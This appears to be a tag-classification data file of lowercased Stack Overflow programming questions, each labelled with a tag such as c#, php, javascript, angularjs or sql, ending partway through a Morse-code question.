ways of using addlistener  i m wondering what s is the difference between this two uses of <strong>add listener</strong> on c#. on my script  both are working. but i guess there should be a difference   thanks !   <pre><code>btn.onclick.addlistener(() =&gt; pickapuzzle());   btn.onclick.addlistener (pickapuzzle);  </code></pre>,c#
count words from textarea   error switch  i have a form with an input type number and a textarea  named valoare and textarea i have 5 radiobuttons each with name option and value 1 2 3 4 5 so lets say for first radio button i want to display the number of words from textarea.    this is the code:    <pre><code>if (!empty($_post[ textarea ]) &amp;&amp; !empty($_post[ valoare ]))       {         $option =  option ;         switch($option)         {             case 1:                      if(isset($_post[ submit ]))                 {                       $count =str_word_count($_post[ textarea ]);                       echo $count;                       break;                 }         }        }        </code></pre>   what s wrong with this   i don t see any result.    thanks,php
issue using javascript s onmouseover event within a class  earlier today i got some simple code to work allowing an image to slide over on mouse over  and decided to try to turn that into a class so i could instantiate it. however  i m running into some problems.    init() is called on window load  which sets up shifttabout() as a function to be called upon mousing over the image. however  when shifttabout() is called  i get the following error:  this.movetabout is not a function.  how can this be    <pre><code>   &lt;script type= text/javascript &gt;          function slidingtab(img)         {             this.self = this;              this.outtimer;             this.intimer;              this.left = 0;             this.interval = 20;             this.animatingout = false;             this.animatingin = false;             this.increment = 10;             this.extenddist = 100;             this.imgobj = img;               this.movetabout = function(){                 alert( moveout );                 this.animatingout = true;                 this.left = parseint(this.imgobj.style.left);                  if(this.left != this.extenddist)                 {                     this.imgobj.style.left = this.left + this.increment +  px ;                      this.self = this;                     this.outtimer = settimeout(this.self.movetabout  this.interval);                 }                 else                 {                     this.animatingout = false;                 }             };              this.shifttabout = function(){                 alert( shiftout );                 if(this.animatingin)                 {                     this.animatingin = false;                     cleartimeout(this.intimer);                 }                 if(!this.animatingout)                 {                     this.movetabout();                 }                }              this.init = function(){                 this.imgobj.style.position =  relative ;                 this.imgobj.style.left =  0px ;                  this.self = this;                  this.imgobj.onmouseover=this.self.shifttabout;             }         }          function init(){             var img1 = document.getelementbyid( tab1 );             var tab1 = new slidingtab(img1);             tab1.init();         }          window.onload = init;      &lt;/script&gt; </code></pre>   presumably i am setting up the onmouseover function incorrectly somehow  since all class variables appear to be undefined or otherwise messed up in shifttabout() when it is called by mouse hover  but <em>not</em> when it is called directly via init().,javascript
show bank transaction details in a grid view  i have to show the bank transaction details in a grid view. i have a form in which there are 2 textbox one for credit and other for debit.when user click on submit button  credit debit and balance shows in gridview. balance=balance+(credit-debit) my problem is that when user entered the new debit or credit value  it should be add or subtract from last stored balance in database and grid view shoes the whole transaction.,asp.net
poptorootviewcontrollerview <pre><code>self.window.rootviewcontroller = self.viewcontroller; [self.window makekeyandvisible]; return yes; </code></pre>   it looks like the above in the delegate is setting the initial view as the root view. is that true  or is it setting the current view each time  how dpi set the initial view as the root view     because when i m on my 3rd view and want to pop back to initial view its not happening:   <pre><code>[self.navigationcontroller poptorootviewcontrolleranimated:yes]; </code></pre>,iphone
does ios mdm app can help to make network call in all states (killed/background)  i want to make network call in every 10 minutes from my app in all states like (killed  background).    i know this is not possible in simple ios app (specially in killed state)  can we achieve this using mdm  enabled app,ios
not able to figure out how the code can be further optimised  this problem is from hackerrank and the link is : <a href= https://www.hackerrank.com/challenges/sherlock-and-squares  rel= nofollow >https://www.hackerrank.com/challenges/sherlock-and-squares</a>  .   the program below prints the count of numbers that are perfect squares within the given range. however  i get an error of time limit exceeded as the constraints for testcases are <code>1 &lt; testcase &lt; 100</code> and for 2 integers in the range are <code>1 &lt; number 1 &lt; 10^9  1 &lt; number2 &lt; 10^9</code> .   <pre><code>#include &lt;cmath&gt; #include &lt;cstdio&gt; #include &lt;vector&gt; #include &lt;iostream&gt; #include &lt;algorithm&gt; #include&lt;math.h&gt; using namespace std;   int main() { /* enter your code here. read input from stdin. print output to stdout */      int testcase;   cin&gt;&gt;testcase;          //input testcase   while(testcase--)   {        int number1 number2 count=0;        cin&gt;&gt;number1&gt;&gt;number2;                 //input the limits        for(int i=number1;i&lt;=number2;i++) //check for each number within the limits if it is a proper square         {             if(sqrt(i)==floor(sqrt(i)))             count++;         }          cout&lt;&lt;count&lt;&lt;endl; //print the total count of numbers that are  perfect square within the limits     } return 0; } </code></pre>   can someone please tell me how to optimize the problem further. as i am not able to figure out how time complexity can be further reduced.,c++
jquery slider not behaving as expected  would someone mind taking a look and explaining what i did wrong here     the arrow is flipping on me and it takes 2 clicks to make it work correctly.    is there a better way of doing this     thanks.    please see this link: <a href= http://jsfiddle.net/ddub/j3dfr/  rel= nofollow >http://jsfiddle.net/ddub/j3dfr/</a>,jquery
why does javascript break after decompressing   i am trying to evaluate a very large javascript code. the file has been compressed with javascript compressor and it was hard to understand the code. so i decompressed it using the jsformat package of sublime text editor. the code is now good to read however  when i run it in browser the code breaks. why does this happen and what can i do to prevent it,javascript
program works but randomly closes after 20-30 seconds  i am writing a snake game  and i have been able to produce a complete result that works as planned.    however  the game seems to randomly crash. i hit another command and the game closes even with the gameover conditions are not met.    i have attached the code:   <pre><code>#include &lt;iostream&gt; #include &lt;conio.h&gt; #include &lt;windows.h&gt; using namespace std; bool gameover; const int width = 20; const int height = 20; int x  y  fruitx  fruity  score; int tailx[100]  taily[100]; int ntail; enum direction { stop = 0  left  right  up  down}; direction dir;  int setup()  {     gameover = false;     dir = stop;     x = width / 2;     y = height / 2;     fruitx = rand() % width;     fruity = rand() % height;     score = 0;     return 0; }  int draw()  {         system( cls ); //system( clear );         for (int i = 0; i &lt; width+2; i++)             cout &lt;&lt;  # ;         cout &lt;&lt; endl;          for (int i = 0; i &lt; height; i++)         {             for (int j = 0; j &lt; width; j++)             {                 if (j == 0)                     cout &lt;&lt;  # ;                 if (i == y &amp;&amp; j == x)                     cout &lt;&lt;  o ;                 else if (i == fruity &amp;&amp; j == fruitx)                     cout &lt;&lt;  f ;                 else                 {                     bool print = false;                     for (int k = 0; k &lt; ntail; k++)                     {                         if (tailx[k] == j &amp;&amp; taily[k] == i)                         {                             cout &lt;&lt;  o ;                             print = true;                         }                     }                     if (!print)                         cout &lt;&lt;    ;                 }                   if (j == width - 1)                     cout &lt;&lt;  # ;             }             cout &lt;&lt; endl;         }          for (int i = 0; i &lt; width+2; i++)             cout &lt;&lt;  # ;         cout &lt;&lt;  \n ;         cout &lt;&lt;  score:  &lt;&lt; score &lt;&lt;  \n ;         return 0; }  int input()  {         if (_kbhit())         {             switch (_getch())             {             case  a :                 dir = left;                 break;             case  d :                 dir = right;                 break;             case  w :                 dir = up;                 break;             case  s :                 dir = down;                 break;             case  x :                 gameover = true;                 break;             }         }     return 0; }  int logic()  {         int prevx = tailx[0];         int prevy = taily[0];         int prev2x  prev2y;         tailx[0] = x;         taily[0] = y;         for (int i = 1; i &lt; ntail; i++)         {             prev2x = tailx[i];             prev2y = taily[i];             tailx[i] = prevx;             taily[i] = prevy;             prevx = prev2x;             prevy = prev2y;         }         switch (dir)         {            case left:             x--;             break;         case right:             x++;             break;         case up:             y--;             break;         case down:             y++;             break;         default:             break;         }          for (int i = 0; i &lt; ntail; i++)             if (tailx[i] == x &amp;&amp; taily[i] == y)                 gameover = true;          if (x == fruitx &amp;&amp; y == fruity)         {             score += 10;             fruitx = rand() % width;             fruity = rand() % height;             ntail++;         }         return 0; }  int main()  {     setup();     while (!gameover)     {         draw();         input();         logic();         sleep(50);     }     return 0; } </code></pre>,c++
.net - why do assembly contents change with the same code   i have a solution with multiple layers of project dependencies  and at the lowest level there are some utility libraries. i frequently change them because i need to make minor corrections to the implementation without affecting the signature of any of the exposed objects (e.g. bug fixes).    when i build the solution after making those changes  the contents of all the dll files that reference these utility libraries change downstream. for example  library a needs a bug fix without any signature changes. library b references a  and library c references b. after build  both b and c are modified.     i find that illogical. why would dependent libraries change due to an upstream dependency s internal code change,.net
using  no  in angular ng-show  so i have this piece of code. this element should be shown if the model optionfalse is set  and if not it will not be shown:   <pre><code>&lt;input ng-show= optionfalse  type= radio  name= example_boolean  /&gt;{% verbatim %}{{ optionfalse }}{% endverbatim %} </code></pre>   the way i set the optionfalse value is via ng-model:   <pre><code> &lt;input ng-model= optionfalse  type= text  name= answer_opt_true  value=   /&gt; </code></pre>   so if i type something it the text input the radio should appear. it works fine with every keyword  but when i type  no  the input doesn t appear. why is that  is somehow no evaluated to false  if it is so  how can i find a workaround     the same behaviour is happening when i type  n . with othe letters works just fine.,angularjs
anchor tag that targets content in the same page not working  i have a simple html question that i am struggling to solve. i would like to create an anchor that will direct the user to specific content within the same page. however  instead directing to the content  just refreshes the page.    the content below is what i did to jump to a point on the same page  so i did the following:   <pre><code>  &lt;p&gt;&lt;a href= #arcadia  name= arcadia &gt;arcadia&lt;/a&gt;&lt;/p&gt; </code></pre>   and the content i want to jump to when it is clicked is the following:   <pre><code>&lt;h4&gt;&lt;b&gt;&lt;img alt=   id= arcadia  name= arcadia  src= /image/location-marker-blue.png  style= width: 35px; height: 35px; position: relative; left: -5px;  /&gt;arcadia: primary care&lt;/b&gt;&lt;/h4&gt; </code></pre>   however  as i mentioned  it just refreshes the page. what am i doing wrong,html
rails: after_destroy   <strong>scenario: i upload a attachment to a post form but then exit the post form before saving (#create).</strong> (uploading directly to s3)    if i delete a post  then i can use <code>after_destroy</code> to delete the item within the post. but what if i simply exit the form before submitting. how can i get that item deleted without creating a  temp bucket,ruby-on-rails
window.showmodaldialog issue  i am opening a popup window using and passing some array of parameters   <pre><code>window.showmodaldialog( test.aspx   myargs  winsettings); </code></pre>   in the test.aspx i have button  on button click i have  response.write( test ) when i click on the test button a new window is getting opened. can this be avoided     please help,asp.net
swapping strings. i want to do this using getchars() and string concat() function. don t know how to in java  what i m trying to do: given a string from user  swap the first half with second half. if the string length is odd  take the lower first half and swap. and if the string length is 1  leave it alone. for example:    input: abcde    output: cdeab   <pre><code>class swap20 {     public static void main(string []args)     {         scanner s = new scanner (system.in);          system.out.println( enter a string );         string str = str.nextint();         int length = str.length();         system.out.println( the length is:- +length);         int l1 = length/2         int l2 = length-l1;         void getchars( int 0  int l1  char[] dst1  0 );         //string second = void getchars( int (l1+1)  int length  char[] dst2  0);         //str1 = str1.concat(string second );         system.out.println(str1); }  } </code></pre>,java
angular js controller throwing error  i am getting following error while trying to list contents from controller function in angular js. i am pretty new to angular js. i checked one the video tutorial and tried code by my own. i written the same code as it was there in the tutorial but though it is showing this error. unable to understand what cause this to happen.    <pre><code>error: [ng:areq] http://errors.angularjs.org/1.3.15/ng/areq p0=simplecontroller&amp;p1=not%20a%20function%2c%20got%20undefined at error (native) at file:///f:/study/angular/angular.min.js:6:417 at rb (file:///f:/study/angular/angular.min.js:19:510) at sb (file:///f:/study/angular/angular.min.js:20:78) at $get (file:///f:/study/angular/angular.min.js:75:396) at file:///f:/study/angular/angular.min.js:57:100 at r (file:///f:/study/angular/angular.min.js:7:408) at b (file:///f:/study/angular/angular.min.js:56:471) at g (file:///f:/study/angular/angular.min.js:51:335) at g (file:///f:/study/angular/angular.min.js:51:352) </code></pre>   my code is as below -        <pre><code>&lt;head&gt;     &lt;title&gt;angular ng-controller&lt;/title&gt;     &lt;script type= text/javascript  src= angular.min.js &gt;&lt;/script&gt; &lt;/head&gt;  &lt;body&gt;     &lt;div data-ng-controller= simplecontroller &gt;         &lt;input type= text  data-ng-model= name  /&gt;         &lt;ul&gt;             &lt;li data-ng-repeat= customer in customers | filter:name | orderby: city  &gt;{{customer.name | uppercase}} - {{customer.city|lowercase}}&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;     &lt;script type= text/javascript &gt;         function simplecontroller($scope) {             $scope.customers = [{                 name:  john doe                   city:  pheonix              }  {                 name:  john smith                   city:  new york              }  {                 name:  jane doe                   city:  san fransisco              }];         }     &lt;/script&gt; &lt;/body&gt; </code></pre>,angularjs
how can i write a query to extract recs with the same value in cola but diff. values in colb   i m trying to create a query that will list only the records that have a matching value in column a but their column b value is not the same for that group. i m trying to extract all recs. like the example for cola=2   <pre><code>cola  colb  other data 1     1234  xxxxx  1     1234  xxxxx  1     1234  xxxxx  2     5678  xxxxx  2     7531  xxxxx  3     5555  xxxxx  3     5555  xxxxx  </code></pre>   i ve tried several variations of this but i m not having any success.   <pre><code>select a.flnumb  a.fllt  a.flmcu  a.flobj  a.flsub  a.flapyc              a.flaid  a.flco                                                    a.fllct  a.flctry  a.flfy  a.flupmj                         from tablename a                                                     where a.flnumb in(select b.flnumb from tablename as b) and                 a.flmcu &lt;&gt; b.flmcu and                                             a.flctry = 20 and a.flfy = 16 and a.flobj in( 1037   1337 )  </code></pre>,sql
unable to use ajaxcalender control with master page  i have created one simple aspx page using ajax calnder control-- page working fine but i am creating a user control with ajax calender control and trying to use it with master page its not workng -- after click on button no popup apperring and page got post back,asp.net
accessing methods in a base class from my inherited class  i put my variables into a base class like this:   <pre><code>public class basecontroller : controller {     protected baseviewmodel vm { get; set; }     protected iaccountservice _account;     protected idatasourceservice _datasource;     protected ipackageservice _package; </code></pre>   each controller currently does the following:   <pre><code>    private void initializeservices(string ds  string ac = null  string pr = null  string pa = null  string co = null) {          _datasource = new datasourceservice();         _account = new accountservice(ds);         _product = new productservice(ds);         _package = new packageservice(ds); </code></pre>   but is there a way that i can now change this  put the method initializeservice into the base class and then call it from the derived class. if it s possible then how would i call that method from the derived class and what would be the modifier for that class once it is inside the base class  would that also be protected,c#
how to clear $localstorage  in angular i tried:   <pre><code>$localstorage.clear(); </code></pre>   it got the error:   <blockquote>    $localstorage.clear is not a function  </blockquote>   what is the correct calling convention to wipe out <code>$localstorage</code>,angularjs
trying to display text on image button  i am trying to display text on button but nothing display.   <pre><code> locationbutton = [[uibutton alloc] init];   uiimage * location_buttonimages = [uiimage imagenamed:@ button~iphone.png ];   [locationbutton settitle:@ loca  forstate:uicontrolstatenormal];  [locationbutton settitlecolor:[uicolor whitecolor] forstate:uicontrolstatenormal];   [locationbutton setimage:location_buttonimages forstate:uicontrolstatenormal];  [locationbutton setimage:[uiimage imagenamed:  @ button_select~iphone.png ]    forstate:uicontrolstateselected];    locationbutton.frame =  cgrectmake(20 212 90 40);   [locationbutton addtarget:self action:  @selector(action:) forcontrolevents:uicontroleventtouchupinside];    [self.view addsubview:locationbutton]; </code></pre>   i can see the image but no text visible.please help!,ios
what is sys.platform used for in python   i wanted to know what the sys.platform does in python and what it is useful for. what type of projects would i want to use it for,python
mysql delete from join not working  i ve tried every which way that this site has to offer to get this query to work and each time with errors.    i have 2 tables:  lane and sale.    here is just one of the syntax that i have tried:   <pre><code>delete lane from lane  join sale on lane.id=sale.id where sale.name= mysale   and lane.number=5 </code></pre>   this particular query gives me the error:  token lane was not valid.  valid tokens: from,mysql
how to pass double quotes on java script through url   how to pass double quotes on <strong>javascript</strong> value in url  <br/> eg:    <pre><code>onclick= window.location =  name.php &amp;fname=ant hony babu &amp;lastname=stevens  boy </code></pre>,javascript
how to install memcache on macbook   what s the latest way to install memcache on snow leapord.    i found some tutorials on google but they are old  curious of the latest way to do it,ruby-on-rails
getting the name info of unknown phone number  let s say we have got a number.we want to send sms to this number but in the message body we want the user name.ie.  dear name surname . i searched the internet but could not find any code sample.is not it possible in android,android
display icon to left of text  in our html we have:   <pre><code>&lt;div id= error2 &gt;&lt;/div&gt; </code></pre>   this displays dynamic error message.    in the css i have:   <pre><code>#error2 {     background:url(../images/cross.png) left center no-repeat;     color: #ff2217;     font-size:16px;     font-weight:bold;     position:absolute;     top:175px;     left:32px; } </code></pre>   what i get is:    <img src= https://i.stack.imgur.com/66meb.png  alt= enter image description here >    what i want is:    <img src= https://i.stack.imgur.com/5xlav.png  alt= enter image description here >,css
why is my function returning true when a string is passed   i have created a function that checks if the argument that is passed is an integer or a float. but for some reason it keeps on returning true when i pass in a string. i don t understand how this happening      if anyone can help me figure this out i would really appreciate it   <pre><code>function isnumeric(val){      var patt =  new regexp( ^[0-9]+$ );      return (patt.test(val) || math.floor(val) !== val);    }   console.log(isnumeric( hello )); //returns true   </code></pre>,javascript
increasing datetime with days in few lines of code  my main goal is to check if id == from 1 to 50 or not  if yes  so i need to echo datetime based on id  for example if id === 5 echo $dtime[ 5 ] and so on   i ve made an array to increase days for each id   <pre><code>$dtime = array(      1  =&gt; date( y/m/d h:i:s   strtotime($rdate[ r_date ].  + 0 days ))       2  =&gt; date( y/m/d h:i:s   strtotime($rdate[ r_date ].  + 1 days ))       3  =&gt; date( y/m/d h:i:s   strtotime($rdate[ r_date ].  + 2 days ))       4  =&gt; date( y/m/d h:i:s   strtotime($rdate[ r_date ].  + 3 days ))       48 =&gt; date( y/m/d h:i:s   strtotime($rdate[ r_date ].  + 47 days ))       49 =&gt; date( y/m/d h:i:s   strtotime($rdate[ r_date ].  + 48 days ))       50 =&gt; date( y/m/d h:i:s   strtotime($rdate[ r_date ].  + 49 days ))       ); </code></pre>   and here is my if/elseif statements   <pre><code>if ($next_id === 1):  echo $dtime[ 1 ]; elseif ($next_id === 2):  echo $dtime[ 2 ]; elseif ($next_id === 3):  echo $dtime[ 3 ];  echo $dtime[ 48 ]; elseif ($next_id === 49):  echo $dtime[ 49 ]; elseif ($next_id === 50):  echo $dtime[ 50 ]; endif; </code></pre>   everything is working fine this way  but i believe that there is a short way to achieve my goal without all these lines  any ideas  thanks in advance.,php
does control.invoke pump messages   does control.invoke() continue to pump messages in the thread that it was called from while blocked  (system.windows.forms),.net
i don t know why it appears this mistake  i made a code for printing a matrix in c:   <pre><code>int main(int argc  char** argv) {     int i j columna n m;     char sala_cine[x][y];      sala_cine[x][y]=     {         {    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20}          { 1                                                                             }          { 2                                                                             }          { 3                                                                             }          { 4                                                                             }          { 5                                                                             }          { 6                                                                             }          { 7                                                                             }          { 8                                                                             }     };     for (i=0;i&lt;x;i++){         for(j=0;j&lt;y;j++)             printf( %c  sala_cine[x][y]);     printf( \n );     }  return (exit_success); } </code></pre>   and in the row of  <code>sala_cine[x][y]=</code> it appear this mistake:    <pre><code>expeted expression before  {  token. </code></pre>   can you help me to solve the problem     thank you,c
how to convert a char after backslash to the  escape char   my program is reading text file and converts two adjacent chars (first is backslash and the second is any) to single escape char   <pre><code>char foo(char a  char b){     ...  // &lt;---how to write this part  }  expectd: foo( \\   n )-&gt; \n  </code></pre>   i can write the equivalent code in python3 like this:   <pre><code>tmp = bytearray([ord( \\ )  ord(char)]) char == tmp.decode( utf-8 )  # utf-8 is just python default codec  not related to the question </code></pre>,c
how to get current windows login name in c# web app   how can i get the user name of windows login  i used this methods:   <ul> <li>environment.username</li> <li>windowsidentity.getcurrent().name;</li> </ul>   but  when i put inside iis server  he takes the name of the server is not my machine.,c#
how can i show required field validator error message in to associated textbox   i have one text box on that text box i am using required field validation. if text box is empty then i want to show in the text box  please enter some text   and if something is in text box then i want to check that text box text is valid email id or not if not then i want to show inside text box  please enter valid email id,asp.net
passing parameter from one xib to another xib  i have label in my secondviewcontroller. i would like to pass button index from firstviewcontroller to secondviewcontroller label. when i press button  it goes to second viewcontroller but label is nil        <strong>// firstviewcontroller.m</strong>   <pre><code>nsinteger index = [carousel indexofitemvieworsubview:sender]; int ind=index; secondviewcontroller *svc = [[secondviewcontroller alloc] initwithnibname:@ secondviewcontroller  bundle:[nsbundle mainbundle]]; svc.mylabel.text=[nsstring stringwithformat:@ %d  ind]; [self presentmodalviewcontroller:svc animated:yes]; </code></pre>   <strong>//secondviewcontroller.h</strong>   <pre><code>@property (strong  nonatomic) iboutlet uilabel *mylabel; </code></pre>   <strong>//secondviewcontroller.m</strong>   <pre><code>@synthesize mylabel; - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view from its nib.     nslog(@ %@  mylabel.text);  } </code></pre>,ios
how to get currently activated view   hi in my project i have 3 views in a single .xib file. i am using a scrollview to show one view at a time.(when we swipe only one view shown in the screen). is there any way to identify which view is currently showing on the screen,objective-c
get a specific string from another string using java <ul> <li>i have a string which has below values. i need to get function names out of it. and the function names are dynamic.</li> <li> using below code i am able to get how many times the word  function  has been occurred. no idea of how to get the function names.   <pre><code>   string strline=request.getparameter( part1 );    if(strline!=null){       string findstr =  function  ;         int lastindex = 0;         int count =0;         while(lastindex != -1){                lastindex = strline.indexof(findstr lastindex);                if( lastindex != -1){                      count ++;                      lastindex+=findstr.length();               }         }         system.out.println( count  +count);    } </code></pre></li> <li> part1 is a value from the user. which can be    <pre><code>       function hello(){        }        function here(){        } </code></pre></li> <li> in the above thing  no of functions and function names get changed. </li> <li> i want to get  hello() and here() as output. </li> </ul>,java
"using ngmodel.$formatter with non-input elements  i ve been happily manipulating the view using <code>$parsers</code> and <code>$formatters</code> to transform data in forms. however  when i came to apply the same behaviour to other elements i found it didn t work  as demonstrated here:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>angular.module( app   [])
   .controller( foo   function ($scope) {
     $scope.n = 1;
   })
   .directive( displayhalf   function () {
     return {
       require:  ngmodel  
       link: function (scope  element  attrs  ngmodel) {
         ngmodel.$parsers.push(function (value) {
           return value*2;
         });
 
         ngmodel.$formatters.push(function (value) {
           return value/2;
         });
       }
     };
   });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
 &lt;script src= //cdnjs.cloudflare.com/ajax/libs/angular.js/1.5.0/angular.js &gt;&lt;/script&gt;
   &lt;meta charset= utf-8 &gt;
   &lt;meta name= viewport  content= width=device-width &gt;
   &lt;title&gt;js bin&lt;/title&gt;
 &lt;/head&gt;
 &lt;body ng-app= app &gt;
   &lt;div ng-controller= foo &gt;
     &lt;div&gt;
       input: &lt;input type= number  display-half ng-model= n &gt;
     &lt;/div&gt;
     &lt;div&gt;
       span: &lt;span display-half ng-model= n &gt;{{n}}&lt;/span&gt;
     &lt;/div&gt;
     &lt;div&gt;
       button: &lt;button display-half ng-model= n &gt;{{n}}&lt;/button&gt;
     &lt;/div&gt;
     &lt;div&gt;
       div: &lt;div display-half ng-model n &gt;{{n}}&lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     i guess i expected a <code>$formatter</code> to be applied as data is displayed  even if it couldn t be edited. was i mistaken  any way to get this working without writing <code>{{n / 2}}</code> all over the place",angularjs
how are the extension methods resolved after asqueryable()   suppose you run asqueryable() on a collection turning into iqueryable&lt;> which gets two sets of extension methods because it implements ienumerable&lt;>    since you can assign a single-line lambda to both expression and func&lt;>  and many extension methods have the same name  what are the compiler rules to resolve the conflicts  it seems like the compiler assumes expression and whenever you want to use func&lt;> you have to cast the parameter explicitly to func&lt;> you have to consider two cases: single-line lambda  and multiple-line lambda where  expression does not even apply meaning the compiler should assume func&lt;>  automatically. however  the compiler always assumes expression. where are the rules documented    <pre><code>list&lt;int&gt; grades_l = new list&lt;int&gt; { 78  92  100  37  81}; static public bool twrite(int value) {   console.writeline( value={0}  value);   return true; }  // these are single-line lambdas // compiler assumes expression&lt;func&lt;&gt;&gt; and if you want func&lt;&gt; then you have to cast var all2_i3 = grades_l.all(i =&gt; twrite(i)); // func&lt;&gt; var all2_q = grades_l.asqueryable().all(i =&gt; twrite(i)); // expression&lt;func&lt;&gt;&gt; var all2_q2 = grades_l.asqueryable().all((func&lt;int  bool&gt;)(i =&gt; twrite(i))); // func&lt;&gt;  // these are multiple-line lambdas // compiler assumes expression&lt;func&lt;&gt;&gt; even though multiple-line lambda implies func&lt;&gt; var all2_i = grades_l.all(i =&gt; { twrite(i); return true; }); // func&lt;&gt; var all2_i2_nc = grades_l.asqueryable().all(i =&gt; { twrite(i); return true; }); // fails to compile var all2_i2 = grades_l.asqueryable().all((func&lt;int  bool&gt;)(i =&gt; { twrite(i); return true; })); // func&lt;&gt; </code></pre>,c#
incompatible types when assigning to type  char[5]  from type  char *  <pre><code>char types[5];         switch(buffer[9]){             case 1:                 types =  icmp ;                 break; </code></pre>   error:   <pre><code> incompatible types when assigning to type  char[5]  from type  char *  </code></pre>   how would i fix this error     thanks.,c
how to get data grouped by hour in mysql  i am trying to build a query to get data count per hour for a particular day(or today). main issue i am getting is i have to show count for all 24 hours in a day even if data does not exist for that particular hour. at that time it has to show count as zero. as of now i have come up with following query.   <pre><code>select   hour          count(created_on) as `user_count` from     users   right join (                    select  0 as hour          union all select  1 union all select  2 union all select  3          union all select  4 union all select  5 union all select  6          union all select  7 union all select  8 union all select  9          union all select 10 union all select 11 union all select 12          union all select 13 union all select 14 union all select 15          union all select 16 union all select 17 union all select 18          union all select 19 union all select 20 union all select 21          union all select 22 union all select 23   )      as allhours on hour(created_on) = hour where    created_on between  2013-04-26  and now() or created_on is null group by hour order by hour </code></pre>,mysql
rails permit nested attributes  i have this nested form  <code>submitted_quiz</code> and <code>submitted_answers</code>. i ll add the basic layout of this form so you can understand it better:   <pre><code>&lt;%= form_for([@user  @submitted_quiz]) do |f| %&gt;  &lt;%= f.hidden_field :quiz_id  :value =&gt; @quiz.id %&gt; &lt;%= f.hidden_field :name  :value =&gt; @quiz.name %&gt;  &lt;%= f.fields_for (:submitted_answers) do |ff| %&gt; &lt;%= ff.hidden_field :question_id  :value =&gt; question.id %&gt; &lt;% end %&gt;  &lt;%= f.submit  submit  %&gt; &lt;% end %&gt; </code></pre>   so as you can see  i need to permit <code>:quiz_id</code>  <code>:name</code> of <code>submitted_quiz</code> but i also need to permit the nested <code>:question_id</code> of <code>submitted_answers</code>. i know how to permit just one layer (<code>submitted_quiz</code>) but i m confused on how to permit nested layers.,ruby-on-rails
is it possible to pass data from routeprovider resolve to a factory/service   in my route provider i have a resolve object that returns some data from a json file. i can pass it without any problems to my controller but there is an error (unknown provider) when i try to pass it to my factory or service. is there a workaround for this      route provider:    <pre><code>.config([ $routeprovider   function($routeprovider) {   (...)       resolve: {            somedata : function($http) {               (...)               return response.data;           }       }   }); }]) </code></pre>   factory:    <pre><code>.factory( generateavatarsfactory   [ somedata   function(somedata) { (...) // throws an unknown provider error </code></pre>   controller:    <pre><code>.controller( somename   [ somedata   function(somedata) { (...) // works fine </code></pre>,angularjs
make a circle follow the mouse  i am trying to create an infinite loop in which there are circles. wherever the mouse moves  the circles will create a line and follow. i have created an infinite loop  but i cannot get the circles to follow the mouse. i am supposed to use <code>mousex()</code> and <code>mousey()</code>.   <pre><code>public static void main(string[] args) {     stddraw.setscale(0 100); // initialize stddraw  set scale to 0-100      double xcoor = 50.0; // set the xcoor(dinate) to 50     double ycoor = 50.0; // set the ycoor(dinate) to 50      //stddraw.filledcircle(50  50  10); // draw a filled circle in the middle of the screen.      while(true) //infinite loop     {         int r = (int)(math.random()*256); // r random color for red component         int g = (int)(math.random()*256); // g random color for green component         int b = (int)(math.random()*256); // b random color for blue component          stddraw.show(1); // show the circles at a slower pace         stddraw.setpencolor(r  g  b); // set the pen color to all 3 components random         stddraw.filledcircle(50  50  10); // draw a filled circle in the center of the screen     } </code></pre>   thanks!,java
is it wrong to create function with two different parameter initials defined by template parameter  according to my understanding of template    <pre><code>template&lt;class it&gt; foo(it num1  it num2)  //both it forms int  {     num1=30;     num2=20;      cout&lt;&lt;num1&lt;&lt;endl;     cout&lt;&lt;num2&lt;&lt;endl;  }  int main() {     int num1  num2;     foo(num1 num2)     return 0; } </code></pre>   what if i wanted the function parameter to have string on one side  and int on the other side of function parameter like   <pre><code>template&lt;class it&gt; foo(it num1  it alp)  //both it on left int  it on right string   if i had declared                       // it on right as  string  instead of  it   it works just fine.  {     num1=30;     alp= name ;      cout&lt;&lt;num1&lt;&lt;endl;     cout&lt;&lt;num2&lt;&lt;endl;    }  int main() {     int num1; string alp;      foo(num1 alp)     return 0; } </code></pre>   template is generic  and lets you put any data type right  if so  shouldn t my program be legal,c++
finding windows user in .net  i am using environment.username to get the username in .net   but iam getting machine name instead of username. also i tried using  system.security.principal.windowsidentity.getcurrent().name.tostring(); and even this returning machine name instead of username. any idea,.net
how to change the style of an element when a specific class is present   there s an idea to set a value to the  div  with an id if there is another class in html code. i am currently studying js and i ve faced a problem that this simple code doesn t work.   <pre><code>function change_visibility() {     if (document.getelementsbyclassname( mobile )) {         document.getelementbyid( #cube ).style.width =  10px ;     } } </code></pre>,javascript
i want to create a morse code converter  in my project s school i need to convert a word into morse code.    i ve tried this but it doesn t work:   <pre><code>for (letter = 0; letter &gt; 1000; letter ++)     {         scanf ( %s   &amp;word [letter]);          if (word [letter] ==  a ) wordinmorse [4 * letter] =  .- ;          if (word [letter] ==  b ) wordinmorse [4 * letter] =  -... ;          if (word [letter] ==  c ) wordinmorse [4 * letter] =  -.-. ;          if (word [letter] ==  d ) wordinmorse [4 * letter] =  -.. ;          if (word [letter] ==  e ) wordinmorse [4 * letter] =  . ;          if (word [letter] ==  f ) wordinmorse [4 * letter] =  ..-. ;          if (word [letter] ==  g ) wordinmorse [4 * letter] =  --. ;          if (word [letter] ==  h ) wordinmorse [4 * letter] =  .... ;          if (word [letter] ==  i ) wordinmorse [4 * letter] =  .. ;          if (word [letter] ==  j ) wordinmorse [4 * letter] =  .--- ;          if (word [letter] ==  k ) wordinmorse [4 * letter] =  -.- ;          if (word [letter] ==  l ) wordinmorse [4 * letter] =  .-.. ;          if (word [letter] ==  m ) wordinmorse [4 * letter] =  -- ;          if (word [letter] ==  n ) wordinmorse [4 * letter] =  -. ;          if (word [letter] ==  o ) wordinmorse [4 * letter] =  --- ;          if (word [letter] ==  p ) wordinmorse [4 * letter] =  .--. ;          if (word [letter] ==  q ) wordinmorse [4 * letter] =  --.- ;          if (word [letter] ==  r ) wordinmorse [4 * letter] =  .-. ;          if (word [letter] ==  s ) wordinmorse [4 * letter] =  ... ;          if (word [letter] ==  t ) wordinmorse [4 * letter] =  - ;          if (word [letter] ==  u ) 